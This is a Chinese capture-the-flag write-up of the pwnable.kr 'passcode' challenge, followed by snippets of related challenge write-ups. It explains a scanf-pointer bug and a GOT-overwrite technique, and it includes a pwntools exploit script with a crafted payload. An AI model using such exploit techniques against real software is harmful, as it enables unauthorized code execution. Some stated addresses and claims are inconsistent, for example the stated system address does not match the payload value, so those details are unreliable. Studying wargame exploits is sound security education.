pwnable.kr第五题:passcode

0x000打开环境

①查看源码:

 1 #include
 2 #include
 3
 4 void login(){
 5     int passcode1;
 6     int passcode2;
 7
 8     printf("enter passcode1 : ");
 9     scanf("%d", passcode1);
10     fflush(stdin);
11
12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13     printf("enter passcode2 : ");
14         scanf("%d", passcode2);
15
16     printf("checking...\n");
17     if(passcode1==338150 && passcode2==13371337){
18                 printf("Login OK!\n");
19                 system("/bin/cat flag");
20         }
21         else{
22                 printf("Login Failed!\n");
23         exit(0);
24         }
25 }
26
27 void welcome(){
28     char name[100];
29     printf("enter you name : ");
30     scanf("%100s", name);
31     printf("Welcome %s!\n", name);
32 }
33
34 int main(){
35     printf("Toddler‘s Secure Login System 1.0 beta.\n");
36
37     welcome();
38     login();
39
40     // something after login...
41     printf("Now I can safely trust you that you have credential :)\n");
42     return 0;
43 }

tips:

fflush(stdin)刷新标准输入缓冲区,把输入缓冲区里的东西丢弃[非标准]

fflush(stdout)刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上

②源码分析

  从17行的”passcode1==338150 && passcode2==13371337  “,可以看出passcode1和passcode只要满足相应的条件就可以执行“system("/bin/cat flag");”但是仔细看看,9和14行发现参数没有&符号,说明这个是一个指针,不是一个地址,函数会从栈中获取4个字节,漏洞就在这里,

  反编译passcode文件,打印login函数,

发现全程都没有入栈的操作,说明name和passcode1在同一个栈内,而passcode2是canary,不能动它,能动的就只有passcode1了,怎么才能执行system("/bin/cat flag");呢,看到[email protected]这个标识,可以试试got表覆写技术(个人理解就是存储函数地址的对照表,和plt表一 一对应)。看看got表:

可以利用的函数有printf,fflush,exit,因为在login函数中都有调用这三个函数,利用got表覆盖写成system函数的地址,那么只要这个函数被调用就可以得到flag。

0x001 漏洞的利用

  思路已经很清晰了,现在就是找到name的地址和passcode1的地址,计算他们之间的距离;printf/fflush/exit的入口地址;和system函数的地址。

不难看出name的地址为ebp-x070

passcode1的地址为ebp-0x10。

name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址,他们的入口地址可通过如下命令查看:

接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

0x002 payload构造

payload的构成96个任意字符,一个函数(printf/fflush/exit)的入口地址,system函数的地址

python脚本如下:

from pwn import *
pwn_ssh=ssh(host=‘pwnable.kr‘,user=‘passcode‘,password=‘guest‘,port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline(‘A‘*96+‘\x04\xa0\x04\x08‘+‘134514135‘)
print (sh.recvall())

原文地址:https://www.cnblogs.com/DennyT/p/11622413.html

时间: 2024-10-13 04:41:29

pwnable.kr第五题:passcode的相关文章

pwnable.kr第三题:bof

0x000查看源码 打开bof.c文件 1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe){ 9 system(&q

pwnable.kr第四题:passcode

0x000 打开环境 下载文件到本地,查看文件格式为64位的ELF,xxd命令是将文件转化为16进制的格式查看,发现文件内容有个明显的upx,upx是一种加壳压缩的程序,所以先把该文件脱壳,使用upx -d命令脱壳至flag_upx. 0x001 源码分析 细心一点就会发现,有一个注释“#0x6c2070 <flag>",然后你懂的:(“x/s",查看地址内容,s可省略,代表字符串) 这就是flag了!   原文地址:https://www.cnblogs.com/Denn

pwnable.kr第六题:random

0x000打开环境查看源码 #include int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; }

【pwnable.kr】blackjack

又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html 第一反应是源代码这么长,还不如先玩玩看. 首先,看一下游戏规则发现和21点游戏是一样的,可能国外就叫blackjack吧. 每次,让游戏中下注,然后和电脑比赛,下注的金额不能超过所持有的金额. 这尼玛发牌函数也是随机的,就算你运气再好,算法再牛,想挣100w

pwnable.kr的passcode

前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下我们的用户名,并不能直接查看flag这个文件.查看passcode.c的源码看一下 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter

pwnable.kr之passcode

passcode 下载下来的源代码 从源代码分析看出来,在scanf的时候passcode1和passcode2没有加地址符号,因此会存在题目中所说的警告. 这道题木一共两个函数,welcome和Login,在welcome中输入了name字符串,然后在Login中输入了passcode1和passcode2,在passcode1=338150(0x528E6)并且passcode2=13371337(0xCC07C9)的时候返回shell,得到flag. 想当然地: 竟然发现段错误.什么鬼.于

pwnable.kr 第一题 FD

题目地址http://pwnable.kr/play.php 第一题 FD 环境是kali系统 首先打开题目 按提示连接ssh 密码为guest 查看文件内容发现存在flag文件,但是没有读权限 查看fd.c代码文件 复习出现的函数 int argc 要输入的参数 char* argv[]表示的是包括文件名在内的参数,文件名是argv[0] char* envp[]是环境变量,比如path=c:\windows之类的东西.它没有一个整数来为它记数是通过最后一个evnp[i]==NULL来表示结尾

pwnable.kr 第二题 collision

题目地址 http://pwnable.kr/play.php 首先登录查看文件 分析代码,目的输出flag 显而易见,要让flag输出 就得让check_password这个函数返回一个0x21DD09EC 看提示可以得出要输一个20字节的字符 int占四个字节 char占一个字节 check_password 转换时候将20个char 四个一组转为int并相加 用python自带的计算机简单算一下 我们需要输入四个0x6c5cec8和一个0x6c5cecc 使用万能的python,尝试了多次

【pwnable.kr】bof

pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 很简单的一道栈溢出题目. 依然先读代码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overfl